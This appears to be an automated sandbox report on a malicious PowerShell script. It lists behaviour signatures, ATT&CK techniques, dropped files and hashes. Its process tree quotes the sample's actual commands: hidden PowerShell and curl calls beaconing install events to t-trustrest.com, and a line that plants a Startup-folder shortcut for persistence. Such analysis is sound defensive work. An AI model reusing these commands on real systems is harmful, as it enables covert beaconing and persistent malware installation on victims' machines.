2d2a95ddad86b51aceba55a10dc9d66489e7188f50cb8cd1eff7af115d136966

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 16:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2d2a95ddad86b51a.ps1
Size 1KB
Sample261024-tqdr7avyct
SHA256 2d2a95ddad86b51aceba55a10dc9d66489e7188f50cb8cd1eff7af115d136966
MD5 a468c8c48116c5f584127f21603c6451
SHA1 33c812b0a7cff8e186ed8adc61bde9409fa6523d
SHA512 815517cd493d03efd59aeb11da3b69724dc36a617294f8d1f0cc4ece5740f12541ac81e27e91dff2c5d36bf68f4c4e85c7bcf37badcaa93a70d879fe5f6edd08
TLSH
T18B11F34456124CC182570BD3386B739AE43D939D867B399B03F7405023A8BC67D9BC99
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence privilege_escalation upx

Malware Config

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5240	PowerShell.exe
8	5240	PowerShell.exe
15	5152	powershell.exe
18	2732	powershell.exe
19	5240	PowerShell.exe
20	4276	powershell.exe
22	4276	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5408	powershell.exe
2112	powershell.exe
5240	PowerShell.exe
4276	powershell.exe
5152	powershell.exe
2732	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2420	DeskNotes.exe
4068	stable.exe
5368	AppStart.exe
256	DeskNotes.exe

Loads dropped DLL 2 IoCs

pid	Process
5368	AppStart.exe
5368	AppStart.exe

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	stable.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c4fa-81.dat	upx
behavioral2/memory/2420-91-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/2420-141-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/256-152-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/2420-153-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/256-154-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/2420-165-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/256-166-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/2420-167-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx
behavioral2/memory/256-168-0x00007FF678C40000-0x00007FF67A1ED000-memory.dmp	upx

Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DeskNotes.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DeskNotes.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	stable.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DeskNotes.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DeskNotes.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stable.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	stable.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2420	DeskNotes.exe
256	DeskNotes.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5240	PowerShell.exe
5240	PowerShell.exe
5152	powershell.exe
5152	powershell.exe
5152	powershell.exe
4276	powershell.exe
4276	powershell.exe
2732	powershell.exe
2732	powershell.exe
4276	powershell.exe
2732	powershell.exe
4276	powershell.exe
5408	powershell.exe
5408	powershell.exe
5408	powershell.exe
4276	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5240	PowerShell.exe
Token: SeDebugPrivilege	5152	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeIncreaseQuotaPrivilege	5240	PowerShell.exe
Token: SeSecurityPrivilege	5240	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5240	PowerShell.exe
Token: SeLoadDriverPrivilege	5240	PowerShell.exe
Token: SeSystemProfilePrivilege	5240	PowerShell.exe
Token: SeSystemtimePrivilege	5240	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5240	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5240	PowerShell.exe
Token: SeCreatePagefilePrivilege	5240	PowerShell.exe
Token: SeBackupPrivilege	5240	PowerShell.exe
Token: SeRestorePrivilege	5240	PowerShell.exe
Token: SeShutdownPrivilege	5240	PowerShell.exe
Token: SeDebugPrivilege	5240	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5240	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5240	PowerShell.exe
Token: SeUndockPrivilege	5240	PowerShell.exe
Token: SeManageVolumePrivilege	5240	PowerShell.exe
Token: 33	5240	PowerShell.exe
Token: 34	5240	PowerShell.exe
Token: 35	5240	PowerShell.exe
Token: 36	5240	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5240	PowerShell.exe
Token: SeSecurityPrivilege	5240	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5240	PowerShell.exe
Token: SeLoadDriverPrivilege	5240	PowerShell.exe
Token: SeSystemProfilePrivilege	5240	PowerShell.exe
Token: SeSystemtimePrivilege	5240	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5240	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5240	PowerShell.exe
Token: SeCreatePagefilePrivilege	5240	PowerShell.exe
Token: SeBackupPrivilege	5240	PowerShell.exe
Token: SeRestorePrivilege	5240	PowerShell.exe
Token: SeShutdownPrivilege	5240	PowerShell.exe
Token: SeDebugPrivilege	5240	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5240	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5240	PowerShell.exe
Token: SeUndockPrivilege	5240	PowerShell.exe
Token: SeManageVolumePrivilege	5240	PowerShell.exe
Token: 33	5240	PowerShell.exe
Token: 34	5240	PowerShell.exe
Token: 35	5240	PowerShell.exe
Token: 36	5240	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4276	powershell.exe
Token: SeSecurityPrivilege	4276	powershell.exe
Token: SeTakeOwnershipPrivilege	4276	powershell.exe
Token: SeLoadDriverPrivilege	4276	powershell.exe
Token: SeSystemProfilePrivilege	4276	powershell.exe
Token: SeSystemtimePrivilege	4276	powershell.exe
Token: SeProfSingleProcessPrivilege	4276	powershell.exe
Token: SeIncBasePriorityPrivilege	4276	powershell.exe
Token: SeCreatePagefilePrivilege	4276	powershell.exe
Token: SeBackupPrivilege	4276	powershell.exe
Token: SeRestorePrivilege	4276	powershell.exe
Token: SeShutdownPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeSystemEnvironmentPrivilege	4276	powershell.exe
Token: SeRemoteShutdownPrivilege	4276	powershell.exe
Token: SeUndockPrivilege	4276	powershell.exe
Token: SeManageVolumePrivilege	4276	powershell.exe
Token: 33	4276	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5240 wrote to memory of 5152	5240	PowerShell.exe	90
PID 5240 wrote to memory of 4708	5240	PowerShell.exe	92
PID 5240 wrote to memory of 4276	5240	PowerShell.exe	94
PID 5240 wrote to memory of 2732	5240	PowerShell.exe	96
PID 5240 wrote to memory of 3248	5240	PowerShell.exe	98
PID 5240 wrote to memory of 2532	5240	PowerShell.exe	100
PID 5240 wrote to memory of 4192	5240	PowerShell.exe	102
PID 4276 wrote to memory of 2420	4276	powershell.exe	106
PID 4276 wrote to memory of 4068	4276	powershell.exe	108
PID 2420 wrote to memory of 5408	2420	DeskNotes.exe	109
PID 4276 wrote to memory of 5368	4276	powershell.exe	111
PID 256 wrote to memory of 2112	256	DeskNotes.exe	117

cURL User-Agent 4 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	7	curl/8.8.0
HTTP User-Agent header	11	curl/8.8.0
HTTP User-Agent header	14	curl/8.8.0
HTTP User-Agent header	16	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\2d2a95ddad86b51a.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=dl_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5152
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=dl_ok
  2⤵
  PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\msedge_716358.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Apps\DeskNotes\DeskNotes.exe
    "C:\Apps\DeskNotes\DeskNotes.exe"
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop'; $shell = New-Object -ComObject WScript.Shell; $shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk'); $shortcut.TargetPath='C:\Apps\DeskNotes\DeskNotes.exe'; $shortcut.WorkingDirectory='C:\Apps\DeskNotes'; $shortcut.Description='DeskNotes'; $shortcut.WindowStyle=1; $shortcut.Save();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      PID:5408
- - C:\Users\Admin\AppData\Local\Temp\svc_work\out2\stable.exe
    "C:\Users\Admin\AppData\Local\Temp\svc_work\out2\stable.exe"
    3⤵
    - Executes dropped EXE
    - Checks system information in the registry
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    PID:4068
- - C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.exe
    "C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command try{$w=[Net.HttpWebRequest]::Create('https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok');$w.Method='GET';$w.Timeout=8000;$w.ReadWriteTimeout=8000;$w.KeepAlive=$false;try{if($w.Proxy){$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials}}catch{};$r=$w.GetResponse();try{$r.Close()}catch{}}catch{}
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2732
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:3248
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 12 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:2532
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -4 -s -o NUL --connect-timeout 6 --max-time 12 https://t-trustrest.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:4192

C:\Apps\DESKNO~1\DeskNotes.exe
C:\Apps\DESKNO~1\DESKNO~1.EXE
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$ErrorActionPreference='Stop'; $shell = New-Object -ComObject WScript.Shell; $shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk'); $shortcut.TargetPath='C:\Apps\DESKNO~1\DeskNotes.exe'; $shortcut.WorkingDirectory='C:\Apps\DESKNO~1'; $shortcut.Description='DeskNotes'; $shortcut.WindowStyle=1; $shortcut.Save();"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Creates a file in the Startup directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DeskNotes.exe

Path C:\Apps\DeskNotes\DeskNotes.exe
Size 6.9MB
SHA256 f6de2ee2d0f818038328218c302faabc073e15e4871803e14ab31c863de1330a
MD5 1445344fef1d1d22a55ba401be945fe2
SHA1 6dc7ba6ba785d19a438f6d6b4b1a1c7cc54e857a
SHA512 8f51c44bb2856342337463799480acdb182ac123ab90ae298402a1d8e4b8b94fa747717c86d42da09b6df6b1ce60cb6477884bf481f22a8f2ad07bf15791fef2
SSDEEP 196608:q6kfRvz4Vre80BhMHE34PNBHX4uY+KTe1xM:9+kVi80BuH1lBdpx
TLSH
T1177633DA456D4053E27D65BCB36C2480A206007DCC9ECA9EF31DEBA745B39E1341B6BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

changelog.txt

Path C:\Apps\DeskNotes\changelog.txt
Size 269B
SHA256 bd2176cda9cffafbee5847ef91c7870d5e5fc586282af954209521d9cc6ddb4d
MD5 0071bef226066586cbf6991881bae661
SHA1 394db8726f0160bb604d65031a8f15871b8734c3
SHA512 48f80db4d42e947ff6299edbd42d767abf31238e9e31020475b17d620ab6e5da3144b2fc598eb9a4e13c0bb0b83d943b327c42ce00d91c26745f129b03eb4716
TLSH
T12CD02B1CD4ED59624B53C443C7150AA81A727141911135509FEC80780043CBA4ED751B
MD5 SHA1 SHA512 TLSH

Submit Download

config.ini

Path C:\Apps\DeskNotes\config.ini
Size 139B
SHA256 5c95a28991130dbac2f953ef7290666d633fbc4ae8124666140f803df51f67bf
MD5 49de2218729bce8ddbc55cd088fa7d52
SHA1 8cf07f511bb55d086b346f55cea99ba2622dad47
SHA512 f5c14aed4b6b8402d60075df40c5b5883078c728d06ede15004d78c4c0d7e2bfead7b9e866dcac876484c70e4b0388c2d0f0c4b55ea926ee6f3772574accdbe1
TLSH
T1E2C02B2C22130C30BC2C80F86892C54334B509C190BFE066203180DDC8CFC52D305809
MD5 SHA1 SHA512 TLSH

Submit Download

license.txt

Path C:\Apps\DeskNotes\license.txt
Size 356B
SHA256 f7ddb6a5c89835dbdf675ef30fdd077b505c9007392567a5935f4054a3cbc0ef
MD5 b9376cf34ebff89de21426aba76b227c
SHA1 19d950c08eb340050b84f8e2345a2ad444069722
SHA512 ff6bcab393b0297666967ca8e468b642bad54bc5beebcaf8fd781f77330b2b935c8e68d3a3edf05e39cc265750a633ec3bd4433abfba77d79ef21743198f89fa
TLSH
T15EE0C096F125E3BB14B453EB3442D1E0EF3F9DE01B9717B1E50D913C2B015180072CA4
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9d4a88fc9cb081c93596ae5853db290aea996e6478000dcff2b2941274b01f48
MD5 b71e4294f31e8627146403b5199da3da
SHA1 1b995d93532beeb78a16c9ba7d37fe01ad5cecc7
SHA512 db90f736459c67c8184577dd56ccfaee6f1062031a1d3019165694b1d40bf5108c43a91926206f5afe7f0b11ebb683c33f754e9a859ac2fc72e472371029662e
TLSH
T198117A33F3CC8A64DC9A413650CEEC1036B6C7DB449EDE9BAB84D558B42F685CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 48ec4faf3a4e6a126b4033453752aa026d8b1ada4d57f9df8aa3210e254d2821
MD5 a6247684a24bbe3ce729b5dc0e7f6bc1
SHA1 250d8ac5fc885c9da5fb1561f17354cd664c970c
SHA512 3e9a4cd46f8c94b9d3bc0c40f0f99932770164d02e8634a6241406670e634bab6f01b8d71f6d1aa8c5a410605f7168b7dd1dda4a8a26e2b1bce846f7e64d1b12
TLSH
T16B41892BB3CC85D5C8994D3A10D9AC1072B983F7C09F8EE36A85C10CB52F699DF98B50
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 beb89f9355be2debcce3233a89ad4d63ec861b41b73c309d63444f4b800dc129
MD5 8ac3b3d1e522c27c6356583a6fe08ab7
SHA1 843f0de63fe13cc218d2671d5ca98bf1fd8e3dcc
SHA512 7491597d98da352fd86897832f1e3d01e14fec90f54625a275063124a6f419bb053029cf1482e65aae0e3b2769e9d7c6ff30d2e5c6a08412d6e55e0d14dd4408
TLSH
T13E116673F3CC8624DC5A403650CEAD1137B687CB449EDE6B7B84D155B82F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 227382e983419ebcf839038c60e3b6d2f21d298882a508cf0b45a9786cf462e2
MD5 1a05463f05bbb20c05bcfdd46c0f81f5
SHA1 b67b2f8bcf3296244ffa200734bc0e941468375e
SHA512 0e605f77fa73b2091540bfca946039220d34dfe56b0ad2d85238fee1a325f924ff70a3cea1001bfd785b41885d156eeb32541a2c0e42cea47a1b2b96e490f4d9
TLSH
T1EC319937F3DC8211DC99403A22CDAC0032B6C7DBC0DECF9B6B80E155A52F699DE69150
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kxdymj5w.csl.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxdymj5w.csl.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

msedge_716358.ps1

Path C:\Users\Admin\AppData\Local\Temp\msedge_716358.ps1
Size 2KB
SHA256 e96c3abaa3185534f1f6c5765b391ba017b75f9d2955a68fdd9b44d2c1f93fd7
MD5 a83b53be7aae1ca9d252cf9c660880f1
SHA1 45a5b5556bc9403fd635f411928d461a05eec9a4
SHA512 cf35a8855ea2c7f802b8b7ee6ef0d52a896a5721036cc219036c7d84976ee53a010a4fd4c7ebf4032b5436ff324844562ea2f033bdacb5f0af86268f7fe018a6
TLSH
T1D84174B69BF945D406E3CA16B8EFB2149D29403F948B4E10B9AC5380FFE419B4B712D6
MD5 SHA1 SHA512 TLSH

Submit Download

AppStart.deps.json

Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.deps.json
Size 469B
SHA256 ef0bf53f462f882e527860a10e40855900dd5244997fca386639bcee00bea27a
MD5 4506da113412dd27c0c6e8173236b56e
SHA1 e125714190edae0c0610841a5ee2616a23baa827
SHA512 5320e3cc5200f7a0902c8b976d97decd67e089f099d2510b267c70b64fcdea11bafbe87d8bed73b982079b6a23fbb72607816e8e8b6d825b9ae2e7d8ce5ba769
TLSH
T134F06509E5944C9741F227B9653A4363F572A7330925290E79FE841C0F73D5B9411E69
MD5 SHA1 SHA512 TLSH

Submit Download

AppStart.dll

Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.dll
Size 4KB
SHA256 ecf14b087e6cb2f847fb533c4bae7bf276aa87f3489897e73cfea126261e1ba2
MD5 672f62386e863d3228d87634c3ba8add
SHA1 d2d89abfe499a6419f406c93a9da3043258dc297
SHA512 20630842dc453521865a2ee8a80265ce5c6f3b199263c5c1be07857d1f465e6450a61344b426163990673bc547b61e95a0a165fa4097f00fcf9d1c126f1aaf0b
TLSH
T19781531193D44367E9B30372ADB367411BFDFE649D668B6F2488511B1D277284E23B70
MD5 SHA1 SHA512 TLSH

Submit Download

AppStart.exe

Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.exe
Size 148KB
SHA256 0d1c38c6acfb2aefc0a9e238e32655bf33fa2fc088de8d02d59ad0aa595d0a95
MD5 cffc6fa1ebb6c2dbd4e34f3d5afe30e7
SHA1 7257380dcef009379b2e61d137f80f761ab8fba6
SHA512 5dae3655489871355db8fe0227191eec574f4c3d933038b11d40ef099a72ddfe2de0e324e474666b17ea43d224ba87a998309b707ea082a19bf0c79a0c62b3e6
SSDEEP 3072:/qeXA/4yIbHkNPN+6H6xCYOiVUE265BJz:/vdHkNFdaxmVEhJ
TLSH
T1AEE33B07A2A851BDE1B7D679CD924D41FB7378598B71A7CF03504AB60E63BD0AE39302
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AppStart.runtimeconfig.json

Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\AppStart.runtimeconfig.json
Size 458B
SHA256 c71152bf25e40d647b2440c5b39be157a3d356106be9d5b678ab97bb87b4e782
MD5 07b9a30265ca4e69c7016a1b6e3ffc27
SHA1 3a4af82a2695b1423aedd8b60a5c86793c011b02
SHA512 efd582f8edcdba5ef48d02eee5f73d83ff35071af99b49e08e0213928568d728d0856e3b903bfcccb9237f786846cf94da83139f99e9bee86287aff2071c3f1c
TLSH
T104F0227ACA106CB704FA77BEC626C182FB30132B10001DA674FC080C6F77AB60212F5A
MD5 SHA1 SHA512 TLSH

Submit Download

stable.exe

Path C:\Users\Admin\AppData\Local\Temp\svc_work\out2\stable.exe
Size 1.1MB
SHA256 a479d01a2800e005dedafd852b0654de43e3d3d3b484aaa6b2b7d16a99bf2b82
MD5 419b645ef982a68e5e1f1bcf0993532e
SHA1 05c6ab754f18cba683e8d81cd82be0f9ff241488
SHA512 57fc31583c353f3a1df21265a8e1f9fa243c7765e3fd1f4ab9569166bddd6c4b578e91658250bd61e95bcd7e19aae8cfec8213233478e909c6cd1aa265cc7b36
SSDEEP 24576:3m/VXeWiEPyumsJ+fpIiUgsbYmcajNGbIeSyooKDbGCqYANT7W5cB3KLkwB21:QlJqsJMpjQGjsAKg
TLSH
T13D356B4B70EC11BCD5ABD23A9E4B7587EAB2380507319BFF6258C8711BC6E621B79701
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pkg1.zip

Path C:\Users\Admin\AppData\Local\Temp\svc_work\pkg1.zip
Size 6.8MB
SHA256 741d4e9d20262b3d20da7d43de6b834a96ed4227a4efd20d049177191be9af7d
MD5 5a4ef28311c0e99dfb35a94c5b4c9b4a
SHA1 d013aedaf33afa0ec95e6d59fa86cc3050a43c9a
SHA512 18a0e173c7b0f9b1e46b7264c082bceaf1870689bc8de4d3abee2357136a98afda7c66e27296cca07acb3daf71392fecd6350f9f827983d73efd47b74b72dc75
SSDEEP 196608:tOuY+44jHa0Jxz4q6CfU2u6ZeqeI66LZoNH8hKGOrWAOv00coN9:tFY+44jHMj+Ze1I3ZoNHWKG+WZv00cc9
TLSH
T1B46633AF38C85637DA353CF529BD55722C0A59FDE1AD21835B9130C6E3CE5303E1AA26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pkg2.zip

Path C:\Users\Admin\AppData\Local\Temp\svc_work\pkg2.zip
Size 579KB
SHA256 80d0bcb12ebef2b4d10d5f374bfd12701a76b4defe322cb1de750a87c6a5e0b3
MD5 20f85de652f193bc5639bb2320ce3715
SHA1 a9d2d6d09486b09b95cdd486b1bfadbc08fa0d36
SHA512 9a797ed4820ebd2b778799804f822a0e0f040d634ac48e295f2562779cdc6c5050d392a5ace7678486e311baf465559966bafb4e0ce773c61355e78b9ec7dec4
SSDEEP 12288:KcZfPcDlFmZrMZNIeUcZQ/GLYiUW4ZQZgzFOwRVoKwskdzpBi:Kc5CN2lcZQOLORzFOeaKwdzpBi
TLSH
T103C423646D985787DB1973BB50D0AEB29E07C8DED4F420F8EF4B60269E6903B5640B0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DeskNotes.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeskNotes.lnk
Size 821B
SHA256 17c2f64f576a39b53eb6890f4e9ce6c4fc7b08310764ba0dda86fe93d7d0f2d6
MD5 74d36f9332e7ed61be44dde42714f60e
SHA1 72a61af909ca8937f26b0399e7ef55765da10706
SHA512 9b35e553c43eae6d57385ba4e6bfd6db1e28b57d87c2251ef4672dd663ce6eb716281f3723c7db75c0eabab6b2f7b84ecd33cae3565289aa5fd8108f4940a26f
TLSH
T1BA017B1685D93FABC3310E3687F71A25C2353D69FDE1831C108895C644CA980E6B6E8E
